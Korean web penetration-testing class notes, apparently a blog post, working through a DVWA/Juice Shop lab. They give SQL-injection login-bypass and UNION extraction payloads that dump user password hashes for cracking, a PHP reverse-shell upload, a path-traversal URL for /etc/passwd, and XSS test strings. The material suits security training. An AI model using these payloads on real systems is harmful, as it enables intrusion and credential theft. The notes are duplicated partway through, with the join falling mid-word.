kali-linux를 vmware에서 실행

 

 

 

sudo su

cd Desktop

apt update

 

 

 

 

 

 

 

vmware → 사파리에서 pentestlab git을 검색

 

 

 

 

git clone https://github.com/eystsen/pentestlab.git

 

 

cd pentestlab

ls

apt install docker.io -y

 

 

 

 

 

 

 

 

 

 

 

 

 

 

그러고 다시 로그인

 

 

 

 

 


 

 

OWASP Top 10 기준선 (2021년 기준이 최신), 4년에 한번 개정

 

  • OWASP → 웹 취약성을 연구하는 연구원들이 4년마다 많이 발생한 웹 취약성을 목록화 발표
  • NIST 기준 (WEB 취약성 31개 정도)
  • 주요통신기반시설 취약점 점검 가이드 라인(28개), 공개, 행안부 2021년 - KISA
  • 전자금융기반시설 취약점 점검 가이드(48개), 비공개, 금융보안원 2024년
  • 행정안전부 SW취약점 개발 가이드(49개), 공개, 행안부 2021년 - KISA
  • 국정원 정보보안관리실태평가(13개), 비공개, 국정원, 2024

 

 

대표적 12개

  • SQL Injection
  • XSS(Stored, Reflected)
  • File UP/DOWN load
  • 정보노출
  • 관리자 페이지 노출
  • 인증우회
  • Parameter 조작
  • 디버깅 정보노출
  • 세션 재사용
  • 불필요한 Method 사용

 

 

SQL Injection

SQL 쿼리 (데이터베이스)를 통해 발생하는 취약점

DB를 사용하는 경우 : 회원가입, 로그인, 게시판 조회(검색)

select id, pw from users where id='admin' and pw= 'password ' ;

→ SQL Injection은 보통 로그인 폼, 검색 폼에서 많이 발생

 

and 조건 때문에 참이어야지만 데이터가 반환되므로, 강제로 or조건으로 변경 (--는 그 뒤에 내용을 주석처리)

select id, pw from users where id='admin' or 1=1--'  pw= 'password' ;

or 조건은 둘중 하나만 참이면 참을 반환

id가 admin이 아니어도 1=1 때문에 무조건 참 → 무조건 로그인 성공

SQL I의 취약성 테스트는 ' (싱글 쿼)를 먼저 입력하여 특수 Char로 인식되는지 부터 판단 필요

다만 싱글쿼더 대신에 `(백틱) 이 인식되는 경우가 있음

 

 

' 하나만 입력했을 때 

db 에러메세지가 안뜨면 취약성이 없다

취약성이 없으면 머물러 있음

 

 

 

테스트 ↓

 

./pentestlab.sh start juiceshop

 

 

 

 

 

싱글 쿼터만 입력

 

 

 

에러 object 가 나오면 취약점...

 

 

 

아무 이메일/ 패스워드 입력

 

 

 

 

SQL Injection은 정형화 되어있음


 

 

XSS (Stored, Reflected)

→ 스크립트(JS)를 통해 실행되는 공격

취약성 테스트 : <script>alert("test")</script> (기본)

Cheat Sheet가 약 4천개 정도 존재

 

취약점: 게시판 글쓰기, 회원가입, 프로파일, 검색 폼

브라우저의 개발자 도구를 통해 스크립트가 인식되는지 확인 필요

→ 어떤 문자열이 필터되는지

 

 

Stored: 저장 형태의 스크립트 (게시판 글쓰기 등)

Reflected: 반사 형태의 스크립트 (검색, 조회) 1회성

공격 방식은 똑같음

 

 

 

테스트 ↓

 

 

→ 취약성이 있다

 

 

 


 

 

File UP/DOWNload

 

UPload: 게시판 업로드를 통해 악성파일이 업로드 되는 경우

*프로파일 사진 업로드, PUT Method 이용

악성파일: jsp, php, asp, py, sh, exe, ps 등

→ 악성파일 확장자들이 웹셸로 동작 가능

파일 업로드 취약점 또는 웹셸업로드 취약점이라고도 불림

(웹셸  : 해당 웹 서버의 권한을 제어할 수 있는 취약성)

 

국정원 & 금보원 → 단순 악성파일 확장자가 업로드만 되어도 취약하다고 판단

행안부 → 업로드 + 실행까지 되어야 취약하다고 판단

공공기관 → 국정원 기준 적용

민간기업 → 행안부를 따라가면 됨

 

 

 

업로드 된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드된 파일 경로 노출

 

 

테스트 ↓

 

cp /usr/share/webshells/php/php-reverse-shell.php php.php

 

 

IP 확인

 

이더넷 장치

 

 

수정하고  ctrl + s  →  끄기

 

 

 

파일 주소를 그대로 복붙해서 올림 ↓

 

 

 

 

터미널로 와서

 

 

 

 

 

 

 

 

쉘이 연결됨 → 완전히 취약하다

 

 

 

 

Download

download 함수를 통해 경로 조작을 통해 임의의 경로 파일 다운로드 확인

공지사항에 첨부된 첨부파일의 경로를 통해 공격 시도

 

http://test.com/notice/file?down=abcd.pdf

 

보통 첨부파일에 마우스 우클릭을 누르면 취약한 경우 위와 같이 주소가 노출됨

 

위처럼 구조가 나왔을 때

 

http://test.com/notice/file?down=../../../../../../../etc/password와 같이 입력하여, 상대경로 파일 다운로드

../ 는 상위 디렉토리로 이동

 

요즘엔 파일다운로드는 대부분 막혀있긴 함

 

http://test.com/notice/file?down=abcd.pdf이렇게 나오지 않는 한 취약성이 없다라고 보면됨

 

 


 

정보노출

버전 정보가 노출되는 취약성

→ WEB/WAS에 대한 버전 정보

 

테스트

curl -v -X OPTIONS http://test.com/     // OPTIONS Method를 통해 헤더정보 출력

curl -v -X GET1 http://test.com/       // 존재하지 않는 Method를 사용함으로써 에러 유발

 

 

 

테스트

 

curl -v -X OPTIONS http://dvwa

 

 

 

Apache 버전 정보 노출

 

 

존재하지 않는 method로 했을 때에도 버전 노출

 

 

 

Burpsuite(proxy 도구)를 가지고 확인이 가능

 

 

proxy

클라이언드 ---------------------------------------------------- 웹서버 → 일반적인 통신 구조

클라이언드 -----------------  프록시서버 ------------------ 웹서버   중간에 프록시 서버가 설정됨

 

프록시 서버 역할 : 클라이언트가 서버로 보내는 데이터를 프록시서버에서 검증하고 서버로 보내는 역할

검증 : 서버로 전송되는 데이터를 모두 확인 가능 (편집가능)

 

클 → 서버,  서버 → 클 모두 조작이 가능 (양방향으로 가능)

 

 

 

테스트  ↓

 

 

버전이 맞지 않다는 경고창 나오면

OK 누르기

 

 

 

 

close 누르기

 

 

 

 

next

start burp

 

 

 

5개 중요

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

인증서 추출한게 바탕화면에 있는지 확인 ↓

 

 

 

 

 

 

 

 

 

Privacy & Security 로 와서

 

 

 

 

스크롤을 쭉 내리면

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

여기까지가 프록시 서버 세팅

 

결과 ↓

 

 

세팅 창 닫고

Intercept is off 클릭 하면 on으로 바뀜

 

 

 

 

 

naver 검색했을 때 패킷이 잡히는지 확인

 

 

 


관리자 페이지 노출

admin 페이지가 노출되는 취약성

http://test.com/admin  과 같은 구조 (Path 구조)

http://admin.test.com/  또는 이런 구조 (서브 도메인)

adm, admi, admind 등 관리자 페이지 단어 유추 입력

서버단에서 접근 제어 설정이 우선 시

uri나 url기반에 관리자 페이지 접근 정규표현식 사

 

 

URL 구조 이해

 

http://anc.test.com/test/page?vuln=exe

http: http프로토콜 사용

abc: test.com의 서브 도메인(자식)

test.com: 위치 정보를 가지는 도메인 정보

test: path(경로) 또는 Directory

page: web page를 나타냄

vuln: parameter, webpage에 속한 함수 명

exe: 파라미터 인자 값

 

웹과 관련된 취약점은 파라미터 인자값에서만 발생

  1. http://test.com/ <script>alert("test")</script>
  2. http://test.com/search?a=<script>alert("test")</script>

취약점이 발생할 수 있는 경우는? 2번

 

 

 


인증 우회

 

1. 인증 과정에 있어 정상 사용자 번호가 아닌 타인의 번호로 인증받아 접속 시도하는 취약성

ex) 휴대폰으로 인증번호 받고 접속 시 휴대폰 번호를 중간에 변경하여 등록되지 않은 번호로 받아 접속 시도

 

2. 인증서 전체 내용을 그대로 복사하여 바뀌치기하여, 타인의 정보로 로그인이 가능한 경우

→ (국세청 인증서 로그인) 인증서 카피해서 재사용

Burfsuite를 통해 가능

서버단에서 인증 프로세스 체크가 유일

 

 

Parameter 조작

정상 파라미터 인자 값을 조작하여 타인의 글 접근, 수정, 삭제, 권한이 없는 게시판 접근, 결제 조작 등의 취약성

http://test.com/board?id=1 정상데이터

http://test.com/board?id=3 권한이 없는 게시판 접근 (파라미터 조작)

 

서버단에서 프로세스 체크가 설정이 필요

일반 게시판에서 글 쓰는 과정에서 프록시를 통해 공지사항 게시판 id로 변경 시 파라미터 조작은 자동화 공격이 많음

비정상 행위로 탐지가 가능 (WAF X, IDS/IPS)

 

 


 

 

디버깅 정보 노출

웹 브라우저 개발자 도구를 통해 하드코딩 된 중요정보가 노출되는 취약성

중요정보 → DB접속, 서버접속, 관리자ID, PW

F12를 누르면 개발자 도구가 활성화 됨

서버단에서 디버깅 정보 최소화가 유일

 

 

 

테스트 ↓

 

 

 

 

 

Inspecter →  추적 검사

Debugger → 정보 노출

Network  →  웹사이트에 접솔 할 때 로드되는 정보 확인가능

Stored →  쿠키값 확인 (세션)

Console → 강제로 함수 호출할 때 이용할 예정

 

input 창에 글을 입력하고 마우스 우클릭 Inspec 에서 글자 수정하거나 등등 가능

Debugger에서 함수를 그대로 보거나

 

작업순서

1. Network 탭 → 어떤 파일들을 긁어가는지 보기 위함

2. Debugger

 


 

세션 재사용 취약점

개발자 도구의 Stroage를 수정해서 세션 정보의 재사용 취약성

세션 재사용은 정상적인 로그아웃을 했을때와 로그인이 된 상태에서 강제로 브라우저를 종료했을 때 모두 점검 필요

→  둘중 하나라도 취약성이 식별되면 취약

서버단에서 일정시간 이후 세션 정보 초기화 설정 필수

 

Storage

 

테스트 ↓

쿠키의 세션아이디 복사 해서 로그아웃 하고 로그인 해보기

 

 

 


 

 

 

불필요한 Method 사용

PUT, DELETE와 같은 취약한 Method 사용 여부 판단

curl -v -X OPTIONS http://test.com/ 으로 allow Method 항목을 통해 확인 가능

 

Method

GET: 페이지 요청

POST: 서버에 데이터 반영 (Login, Write 작업)

PUT: 서버의 데이터 갱신 또는 업로드 

DETELE: 서버의 데이터 삭제

OPTIONS: 서버의 헤더 정보 요청

PATCH: 서버 정보 갱신

PUT, DELETE를 통해 페이지 접근 시탐지하는 룰  필요

의도적으로 PUT, DELETE를 사용하는 경우가 있음  → 룰을 만들면 오탐만 더 늘어남 (공공, 공기업은 사용X)

소명자료가 없으면 전체 재개발이 필요, 소명자료가 있다 할지라도 객관적인 자료가 아니면 허용 X

 

 

 

터미널 창 반 나누기 

ctrl + shift + r

 

 

 

 

 

proxy 창에서 

ctrl + r 는 repeater 활성화

 

 

method를 바꾸고 send 했을 때

response에 allow가 있으면 취약한것

 

 

 


 

 

SQL Injection

 

'or 1=1 # 또는 ' or 1=1 -- 입력해서 모든 데이터 출력하기

DB버전에 따라 #이 주석 또는 -- 가 주석인 경우가 있음

select frist,surname from names where id="or 1=1#';

 

 

 

 

'union select 1#

다중 선택(조회) 구문

 

 

컬럼 개수가 다르다고 알려줌

 

 

 

컬럼 개수를 알아냄

 

버전 정보 알아내기

'union select 1,@@version # // 버전 정보 확인 

 

 

 

 

 

 

 

버전 정보 확인 가능

 

 

 

 

DB이름 알아내기

 

'union select 1,schema_name from information_schema.schemata #

 

information_schema → DB생성시 자동으로 생성되는 테이블, DB에 사용중인 모든 DB와 관련된 정보가 기본으로 저장됨

 

결과 ↓

 

 

Table이름 알아내기

 

'union select 1,table_name from information_schema.tables where table_schema='dvwa' #

 

 

 

Table에 속한 Column이름 알아내기 

'union select 1,column_name from information_schema.columns where table_name='users' #

 

 

 

 

user table로 부터 아이디, 비번 알아내기

'union select user, password from users #

 

 

 

 

 

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

 

 

 

hash 값만 남기고 다 지움

 

 

 

 

이제 아이디와 비번을 알았으니 로그인 시도 할 수 있음

 

 

 

 

 

 

 

wireshark 에서 any 클릭 & 상단에 지느러미 모양 클릭

 

 

 

dvwa에서 이전에 썼던 쿼리 넣고 submit

 

whireshark에 많은 패킷이 보이는데 

 

get method로 발생한 packet 만 보겠다

 

 

whireshark를 실행하여 패킷의 내용이 평문으로 보임 (암호화 X)

관제장비도 마찬가지로 데이터가 평문일 경우 탐지가 가능

 

우리가 지금 실습하는 lab(dvwa) 환경은 http이니 평문 통신이 당연

실제 사이트의 경우 대부분은 https(SSL/TLS)가 적용되어있음 (암호화)

그러면 공격자가 공격하는 데이터는 모두 암호화 되서 네트워크 구간을 지나감

 

 

                                                                                                                                      

(공격자)인터넷 --------------- 라우터 ---------------  FW/IDS/IPS --------------- WAF/DMZ (DVWA)

(공격자)인터넷 --------------- 라우터 ---------------  FW/IDS/IPS --------------- WAF/DMZ (naver)  //  https로 하면 전 구간이 암호화 통신이 됨

 

보안장비에서는 어떻게 탐지가 가능할까?

→ 보안 장비에 proxy를 두면 됨

 

 

(공격자)인터넷 --------------- 라우터 ---------------  FW/IDS/IPS --------------- WAF/DMZ (DVWA)

(공격자)인터넷 --------------- 라우터 ---------------  FW(PROXY)/IDS(PROXY)/IPS(PROXY) --------------- WAF(PROXY) /DMZ (naver) 

 

장비마다 proxy를 두거나 앞단에다가 주면됨

→ proxy = ssl/tls  모두 평문으로 확인 가능

 

 

네이버는 난수로 암호화가 잘 되어있음

테스트 방법   (burfsuite에서 inspect off 하고 가상머신에서 네이버에서 로그인하고 on 인가..? )

 

 

BPR (비즈니스 프로세스 리엔지니어링)

ISP(정보화전략계획)

 

 

SQLMAP: sqli 공격을 자동화 해주는 도구

 

 

 

security level 을 medium으로 바꾸고  submit

 

 

Sql injection으로 가면 이렇게 바뀜

 

 

 

  • proxy: proxy 기능
  • intruder: 자동화 공격
  • repeater: 패킷(트래픽) 재사용
  • decoder: 인코딩, 복호화(URL, HTML, Base64 등 복호화가 가능한 알고리즘)
  • extension: 확장기능(Burfsuite는 plugin을 가져다가 사용할 수 있음)

 

 

 

패킷 (트래픽) 구조

POST /vulnerabilities/sqli/ HTTP/1.1      // method와 접속하는 path, param 등 확인
Host: dvwa   // 내가 접속하는 서버 주소
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  // 내가 서버로 접속할 때 보내는 접속정보 (클라이언트 환경), 칼리라서 리눅스라고 나옴, Firefox 버전도 나옴, 사후에 사고가 발생했을 때 사용가능 (공격자 환경 파악), 웹 서버의 access로그에 기록되도록 설정 필요, 보안장비는 기본적으로 모두 기록함(WAF)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://dvwa
Connection: keep-alive
Referer: http://dvwa/vulnerabilities/sqli/     // 내가 마지막으로 방문한 주소 (POST에 있는 경로에 접속하기 위해 마지막으로 접속한 주소)
Cookie: PHPSESSID=tr6auq2ub8cqegr9l722sk10l3; security=medium // 연결 정보 (세션)
Upgrade-Insecure-Requests: 1



id=1&Submit=Submit

 

 

POST ~ Upgrade까지는 모드 헤더 영역

 

id=1&Submit=Submit  //Body, Payload영역이 됨 (실제 서버로 전송되는 데이터 정보)

 

 

burfsuite를 on으로 바꾸고 

 

 

id뒤에 ' 추가하고 send 하면 syntax 에러남

 

 

id=1 뒤에  or 1=1 # 을 입력 하고 send

 

 

 

다른 쿼리

 

 

 

 

 

이건 왜 한건지 잘 모르겠음 ↓

 

proxy 도구는 127.~ 시작하는 것은 IP는 패킷 캡처가 원래 안됨

127.0 ~ Loopback으로 인식

 

about:config

 

 

 

 

더블클릭해서 true로 바꾸기

 

 

 

 

문자열 10개이상 쓰게 개발자 도구 가서 inspector 

max_lenth 100으로 수정

 

 

 

alert 이 안뜨고 이렇게 나옴ali-linux를 vmware에서 실행

 

 

 

 

 

 

 

sudo su

 

cd Desktop

 

apt update

 

 

 

 

 

 

 

 

 

 

 

 

 

 

vmware → 사파리에서 pentestlab git을 검색

 

 

 

 

 

 

 

 

 

git clone https://github.com/eystsen/pentestlab.git

 

 

 

 

 

cd pentestlab

 

ls

 

apt install docker.io -y

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

그러고 다시 로그인

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OWASP Top 10 기준선 (2021년 기준이 최신), 4년에 한번 개정

 

 

 

OWASP → 웹 취약성을 연구하는 연구원들이 4년마다 많이 발생한 웹 취약성을 목록화 발표

NIST 기준 (WEB 취약성 31개 정도)

주요통신기반시설 취약점 점검 가이드 라인(28개), 공개, 행안부 2021년 - KISA

전자금융기반시설 취약점 점검 가이드(48개), 비공개, 금융보안원 2024년

행정안전부 SW취약점 개발 가이드(49개), 공개, 행안부 2021년 - KISA

국정원 정보보안관리실태평가(13개), 비공개, 국정원, 2024

 

 

 

 

대표적 12개

 

SQL Injection

XSS(Stored, Reflected)

File UP/DOWN load

정보노출

관리자 페이지 노출

인증우회

Parameter 조작

디버깅 정보노출

세션 재사용

불필요한 Method 사용

 

 

 

 

SQL Injection

SQL 쿼리 (데이터베이스)를 통해 발생하는 취약점

 

DB를 사용하는 경우 : 회원가입, 로그인, 게시판 조회(검색)

 

select id, pw from users where id='admin' and pw= 'password ' ;

 

→ SQL Injection은 보통 로그인 폼, 검색 폼에서 많이 발생

 

 

 

and 조건 때문에 참이어야지만 데이터가 반환되므로, 강제로 or조건으로 변경 (--는 그 뒤에 내용을 주석처리)

 

select id, pw from users where id='admin' or 1=1--' pw= 'password' ;

 

or 조건은 둘중 하나만 참이면 참을 반환

 

id가 admin이 아니어도 1=1 때문에 무조건 참 → 무조건 로그인 성공

 

SQL I의 취약성 테스트는 ' (싱글 쿼)를 먼저 입력하여 특수 Char로 인식되는지 부터 판단 필요

 

다만 싱글쿼더 대신에 `(백틱) 이 인식되는 경우가 있음

 

 

 

 

 

' 하나만 입력했을 때 

 

db 에러메세지가 안뜨면 취약성이 없다

 

취약성이 없으면 머물러 있음

 

 

 

 

 

 

 

테스트 ↓

 

 

 

./pentestlab.sh start juiceshop

 

 

 

 

 

 

 

 

 

 

싱글 쿼터만 입력

 

 

 

 

 

 

 

에러 object 가 나오면 취약점...

 

 

 

 

 

 

 

아무 이메일/ 패스워드 입력

 

 

 

 

 

 

 

 

 

SQL Injection은 정형화 되어있음

 

 

 

 

 

XSS (Stored, Reflected)

→ 스크립트(JS)를 통해 실행되는 공격

 

취약성 테스트 : <script>alert("test")</script> (기본)

 

Cheat Sheet가 약 4천개 정도 존재

 

 

 

취약점: 게시판 글쓰기, 회원가입, 프로파일, 검색 폼

 

브라우저의 개발자 도구를 통해 스크립트가 인식되는지 확인 필요

 

→ 어떤 문자열이 필터되는지

 

 

 

 

 

Stored: 저장 형태의 스크립트 (게시판 글쓰기 등)

 

Reflected: 반사 형태의 스크립트 (검색, 조회) 1회성

 

공격 방식은 똑같음

 

 

 

 

 

 

 

테스트 ↓

 

 

 

 

 

→ 취약성이 있다

 

 

 

 

 

 

 

 

 

 

 

File UP/DOWNload

 

 

UPload: 게시판 업로드를 통해 악성파일이 업로드 되는 경우

 

*프로파일 사진 업로드, PUT Method 이용

 

악성파일: jsp, php, asp, py, sh, exe, ps 등

 

→ 악성파일 확장자들이 웹셸로 동작 가능

 

파일 업로드 취약점 또는 웹셸업로드 취약점이라고도 불림

 

(웹셸 : 해당 웹 서버의 권한을 제어할 수 있는 취약성)

 

 

 

국정원 & 금보원 → 단순 악성파일 확장자가 업로드만 되어도 취약하다고 판단

 

행안부 → 업로드 + 실행까지 되어야 취약하다고 판단

 

공공기관 → 국정원 기준 적용

 

민간기업 → 행안부를 따라가면 됨

 

 

 

 

 

 

 

업로드 된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드된 파일 경로 노출

 

 

 

 

 

테스트 ↓

 

 

 

cp /usr/share/webshells/php/php-reverse-shell.php php.php

 

 

 

 

IP 확인

 

 

 

이더넷 장치

 

 

 

 

 

수정하고 ctrl + s → 끄기

 

 

 

 

 

 

 

파일 주소를 그대로 복붙해서 올림 ↓

 

 

 

 

 

 

 

 

 

터미널로 와서

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

쉘이 연결됨 → 완전히 취약하다

 

 

 

 

 

 

 

 

 

Download

 

download 함수를 통해 경로 조작을 통해 임의의 경로 파일 다운로드 확인

 

공지사항에 첨부된 첨부파일의 경로를 통해 공격 시도

 

 

 

http://test.com/notice/file?down=abcd.pdf

 

 

 

보통 첨부파일에 마우스 우클릭을 누르면 취약한 경우 위와 같이 주소가 노출됨

 

 

 

위처럼 구조가 나왔을 때

 

 

 

http://test.com/notice/file?down=../../../../../../../etc/password와 같이 입력하여, 상대경로 파일 다운로드

 

../ 는 상위 디렉토리로 이동

 

 

 

요즘엔 파일다운로드는 대부분 막혀있긴 함

 

 

 

http://test.com/notice/file?down=abcd.pdf이렇게 나오지 않는 한 취약성이 없다라고 보면됨

 

 

 

 

 

 

 

정보노출

버전 정보가 노출되는 취약성

 

→ WEB/WAS에 대한 버전 정보

 

 

 

테스트

 

curl -v -X OPTIONS http://test.com/ // OPTIONS Method를 통해 헤더정보 출력

 

curl -v -X GET1 http://test.com/ // 존재하지 않는 Method를 사용함으로써 에러 유발

 

 

 

 

 

 

 

테스트

 

 

 

curl -v -X OPTIONS http://dvwa

 

 

 

 

 

 

Apache 버전 정보 노출

 

 

 

 

 

존재하지 않는 method로 했을 때에도 버전 노출

 

 

 

 

 

 

 

Burpsuite(proxy 도구)를 가지고 확인이 가능

 

 

 

 

 

proxy

 

클라이언드 ---------------------------------------------------- 웹서버 → 일반적인 통신 구조

 

클라이언드 ----------------- 프록시서버 ------------------ 웹서버 → 중간에 프록시 서버가 설정됨

 

 

 

프록시 서버 역할 : 클라이언트가 서버로 보내는 데이터를 프록시서버에서 검증하고 서버로 보내는 역할

 

검증 : 서버로 전송되는 데이터를 모두 확인 가능 (편집가능)

 

 

 

클 → 서버, 서버 → 클 모두 조작이 가능 (양방향으로 가능)

 

 

 

 

 

 

 

테스트 ↓

 

 

 

 

 

버전이 맞지 않다는 경고창 나오면

 

OK 누르기

 

 

 

 

 

 

 

 

 

close 누르기

 

 

 

 

 

 

 

 

 

next

 

start burp

 

 

 

 

 

 

 

5개 중요

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

인증서 추출한게 바탕화면에 있는지 확인 ↓

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Privacy & Security 로 와서

 

 

 

 

 

 

 

 

 

스크롤을 쭉 내리면

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

여기까지가 프록시 서버 세팅

 

 

 

결과 ↓

 

 

 

 

 

세팅 창 닫고

 

Intercept is off 클릭 하면 on으로 바뀜

 

 

 

 

 

 

 

 

 

 

 

naver 검색했을 때 패킷이 잡히는지 확인

 

 

 

 

 

 

 

관리자 페이지 노출

admin 페이지가 노출되는 취약성

 

http://test.com/admin 과 같은 구조 (Path 구조)

 

http://admin.test.com/ 또는 이런 구조 (서브 도메인)

 

adm, admi, admind 등 관리자 페이지 단어 유추 입력

 

 

 

 

 

URL 구조 이해

 

 

 

http://anc.test.com/test/page?vuln=exe

 

http: http프로토콜 사용

 

abc: test.com의 서브 도메인(자식)

 

test.com: 위치 정보를 가지는 도메인 정보

 

test: path(경로) 또는 Directory

 

page: web page를 나타냄

 

vuln: parameter, webpage에 속한 함수 명

 

exe: 파라미터 인자 값

 

 

 

웹과 관련된 취약점은 파라미터 인자값에서만 발생

 

http://test.com/ <script>alert("test")</script>

http://test.com/search?a=<script>alert("test")</script>

취약점이 발생할 수 있는 경우는? 2번

 

 

 

 

 

 

 

인증 우회

 

 

1. 인증 과정에 있어 정상 사용자 번호가 아닌 타인의 번호로 인증받아 접속 시도하는 취약성

 

ex) 휴대폰으로 인증번호 받고 접속 시 휴대폰 번호를 중간에 변경하여 등록되지 않은 번호로 받아 접속 시도

 

 

 

2. 인증서 전체 내용을 그대로 복사하여 바뀌치기하여, 타인의 정보로 로그인이 가능한 경우

 

→ (국세청 인증서 로그인) 인증서 카피해서 재사용

 

Burfsuite를 통해 가능

 

 

 

 

 

Parameter 조작

 

정상 파라미터 인자 값을 조작하여 타인의 글 접근, 수정, 삭제, 권한이 없는 게시판 접근, 결제 조작 등의 취약성

 

http://test.com/board?id=1 정상데이터

 

http://test.com/board?id=3 권한이 없는 게시판 접근 (파라미터 조작)

 

 

 

 

 

 

 

 

 

디버깅 정보 노출

웹 브라우저 개발자 도구를 통해 하드코딩 된 중요정보가 노출되는 취약성

 

중요정보 → DB접속, 서버접속, 관리자ID, PW

 

F12를 누르면 개발자 도구가 활성화 됨

 

 

 

 

 

 

 

테스트 ↓

 

 

 

 

 

 

 

 

 

 

 

Inspecter → 추적 검사

 

Debugger → 정보 노출

 

Network → 웹사이트에 접솔 할 때 로드되는 정보 확인가능

 

Stored → 쿠키값 확인 (세션)

 

Console → 강제로 함수 호출할 때 이용할 예정

 

 

 

input 창에 글을 입력하고 마우스 우클릭 Inspec 에서 글자 수정하거나 등등 가능

 

Debugger에서 함수를 그대로 보거나

 

 

 

작업순서

 

1. Network 탭 → 어떤 파일들을 긁어가는지 보기 위함

 

2. Debugger

 

 

 

 

 

세션 재사용 취약점

개발자 도구의 Stroage를 수정해서 세션 정보의 재사용 취약성

 

세션 재사용은 정상적인 로그아웃을 했을때와 로그인이 된 상태에서 강제로 브라우저를 종료했을 때 모두 점검 필요

 

→ 둘중 하나라도 취약성이 식별되면 취약

 

 

 

Storage

 

 

 

테스트 ↓

 

쿠키의 세션아이디 복사 해서 로그아웃 하고 로그인 해보기

 

 

 

 

 

 

 

 

 

 

 

 

 

불필요한 Method 사용

 

PUT, DELETE와 같은 취약한 Method 사용 여부 판단

 

curl -v -X OPTIONS http://test.com/ 으로 allow Method 항목을 통해 확인 가능

 

 

 

Method

 

GET: 페이지 요청

 

POST: 서버에 데이터 반영 (Login, Write 작업)

 

PUT: 서버의 데이터 갱신 또는 업로드 

 

DETELE: 서버의 데이터 삭제

 

OPTIONS: 서버의 헤더 정보 요청

 

PATCH: 서버 정보 갱신

 

 

 

 

 

 

 

터미널 창 반 나누기 

 

ctrl + shift + r

 

 

 

 

 

 

 

 

 

 

 

proxy 창에서 

 

ctrl + r 는 repeater 활성화

 

 

 

 

 

method를 바꾸고 send 했을 때

 

response에 allow가 있으면 취약한것

 

 

 

 

 

 

 

 

 

 

 

SQL Injection

 

 

'or 1=1 # 또는 ' or 1=1 -- 입력해서 모든 데이터 출력하기

 

DB버전에 따라 #이 주석 또는 -- 가 주석인 경우가 있음

 

select frist,surname from names where id="or 1=1#';

 

 

 

 

 

 

 

 

 

'union select 1#

 

다중 선택(조회) 구문

 

 

 

 

 

컬럼 개수가 다르다고 알려줌

 

 

 

 

 

 

 

컬럼 개수를 알아냄

 

 

 

버전 정보 알아내기

 

'union select 1,@@version # // 버전 정보 확인 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

버전 정보 확인 가능

 

 

 

 

 

 

 

 

 

DB이름 알아내기

 

 

 

'union select 1,schema_name from information_schema.schemata #

 

 

 

information_schema → DB생성시 자동으로 생성되는 테이블, DB에 사용중인 모든 DB와 관련된 정보가 기본으로 저장됨

 

 

 

결과 ↓

 

 

 

 

 

Table이름 알아내기

 

 

 

'union select 1,table_name from information_schema.tables where table_schema='dvwa' #

 

 

 

 

 

 

 

Table에 속한 Column이름 알아내기 

 

'union select 1,column_name from information_schema.columns where table_name='users' #

 

 

 

 

 

 

 

 

 

user table로 부터 아이디, 비번 알아내기

 

'union select user, password from users #

 

 

 

 

 

 

 

 

 

 

 

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

 

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

 

crackstation.net

 

 

 

 

 

 

hash 값만 남기고 다 지움

 

 

 

 

 

 

 

 

 

이제 아이디와 비번을 알았으니 로그인 시도 할 수 있음

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

wireshark 에서 any 클릭 & 상단에 지느러미 모양 클릭

 

 

 

 

 

 

 

dvwa에서 이전에 썼던 쿼리 넣고 submit

 

 

 

whireshark에 많은 패킷이 보이는데 

 

 

 

get method로 발생한 packet 만 보겠다

 

 

 

 

 

whireshark를 실행하여 패킷의 내용이 평문으로 보임 (암호화 X)

 

관제장비도 마찬가지로 데이터가 평문일 경우 탐지가 가능

 

 

 

우리가 지금 실습하는 lab(dvwa) 환경은 http이니 평문 통신이 당연

 

실제 사이트의 경우 대부분은 https(SSL/TLS)가 적용되어있음 (암호화)

 

그러면 공격자가 공격하는 데이터는 모두 암호화 되서 네트워크 구간을 지나감

 

 

 

 

 

                                                                                                                                      

 

(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (DVWA)

 

(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (naver) // https로 하면 전 구간이 암호화 통신이 됨

 

 

 

보안장비에서는 어떻게 탐지가 가능할까?

 

→ 보안 장비에 proxy를 두면 됨

 

 

 

 

 

(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (DVWA)

 

(공격자)인터넷 --------------- 라우터 --------------- FW(PROXY)/IDS(PROXY)/IPS(PROXY) --------------- WAF(PROXY) /DMZ (naver) 

 

 

 

장비마다 proxy를 두거나 앞단에다가 주면됨

 

→ proxy = ssl/tls 모두 평문으로 확인 가능

 

 

 

 

 

네이버는 난수로 암호화가 잘 되어있음

 

